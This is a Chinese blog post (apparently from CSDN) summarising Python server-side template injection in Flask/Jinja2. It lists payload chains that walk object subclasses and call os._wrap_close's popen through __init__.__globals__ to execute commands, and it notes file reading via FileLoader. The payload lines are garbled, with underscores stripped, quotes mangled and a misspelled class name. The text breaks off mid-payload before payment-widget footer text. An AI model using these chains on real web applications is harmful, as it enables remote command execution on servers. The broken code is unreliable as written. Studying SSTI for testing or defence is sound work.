SSTI 小结

本文详细介绍了Python SSTI(服务器端模板注入)漏洞的利用方法,包括查找父类`object`的子类,寻找涉及命令执行或文件操作的模块,如`os._wrap_close`的`popen`函数。此外,还讲解了如何利用`globals()`、`import()`等内建函数,以及在Flask和Jinja2框架中的SSTI利用技巧,提供了一种通过遍历数字索引并匹配响应结果来确定可利用类的策略。
摘要由CSDN通过智能技术生成


查找子类:
‘’. class. bases[0]. subclasses()
[]. class. bases[0]. subclasses()
[]. class. mro[-1]. subclasses()
实际的索引可能不同,需要动态识别

str(字符串)、dict(字典)、tuple(元组)、list(列表) 的基类都是object
class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
bases:用来查看类的基类,也可以使用数组索引来查看特定位置的值。
subclasses():查看当前类的子类组成的列表,即返回基类object的子类。查看子类列表:
for i in enumerate(‘’.class.mro[-1].subclasses()): print(i)

for i in enumerate(object.subclasses()): print(i)
SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。
找到父类<type ‘object’> —> 寻找子类 —> 找关于命令执行或者文件操作的模块。
获取基类方法: mro base

builtins 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。
globals:该方法会以字典的形式返回当前位置的所有全局变量。
import():该方法用于动态加载类和函数 。

Python3:
使用file类读取文件的方法: <class ‘_frozen_importlib_external.FileLoader’>这个类索引号;
利用os._warp_close类的 popen函数执行命令:

[].class.mro[-1].subclasses()[128].init.globals’popen’.read()
().class.bases[

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值